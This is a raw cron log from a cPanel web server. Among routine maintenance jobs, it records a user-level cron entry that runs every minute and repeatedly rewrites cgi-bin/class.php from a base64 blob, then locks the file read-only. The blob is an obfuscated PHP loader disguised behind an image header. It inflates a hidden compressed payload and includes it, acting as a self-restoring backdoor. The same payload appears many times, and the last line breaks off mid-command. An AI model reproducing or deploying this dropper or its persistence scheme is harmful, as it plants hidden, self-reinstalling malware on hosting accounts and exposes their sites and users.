Sep 11 20:20:01 server CROND[10924]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:20:01 server CROND[10934]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:20:01 server CROND[10936]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:20:01 server CROND[10929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:20:01 server CROND[10931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:20:01 server CROND[10932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:20:01 server CROND[10930]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 20:21:01 server CROND[11769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:21:01 server CROND[11770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:21:01 server CROND[11771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:22:01 server CROND[12143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:22:01 server CROND[12144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:22:01 server CROND[12145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:23:02 server CROND[12535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:23:02 server CROND[12536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:23:02 server CROND[12537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:24:01 server CROND[12963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:24:01 server CROND[12962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:24:01 server CROND[12964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:25:01 server CROND[13367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:25:01 server CROND[13366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:25:01 server CROND[13369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:25:01 server CROND[13377]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 20:25:01 server CROND[13378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:25:01 server CROND[13381]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:25:01 server CROND[13385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:25:01 server CROND[13383]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:26:01 server CROND[14286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:26:01 server CROND[14287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:26:01 server CROND[14285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:27:01 server CROND[14670]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 20:27:01 server CROND[14671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:27:01 server CROND[14669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:27:01 server CROND[14672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:28:01 server CROND[15045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:28:01 server CROND[15046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:28:01 server CROND[15047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:29:01 server CROND[15425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:29:01 server CROND[15426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:29:01 server CROND[15427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:30:01 server CROND[15899]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:30:01 server CROND[15900]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:30:01 server CROND[15904]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 20:30:01 server CROND[15906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:30:01 server CROND[15909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:30:01 server CROND[15908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:30:01 server CROND[15905]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:30:01 server CROND[15903]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:30:01 server CROND[15911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:31:01 server CROND[16746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:31:01 server CROND[16748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; 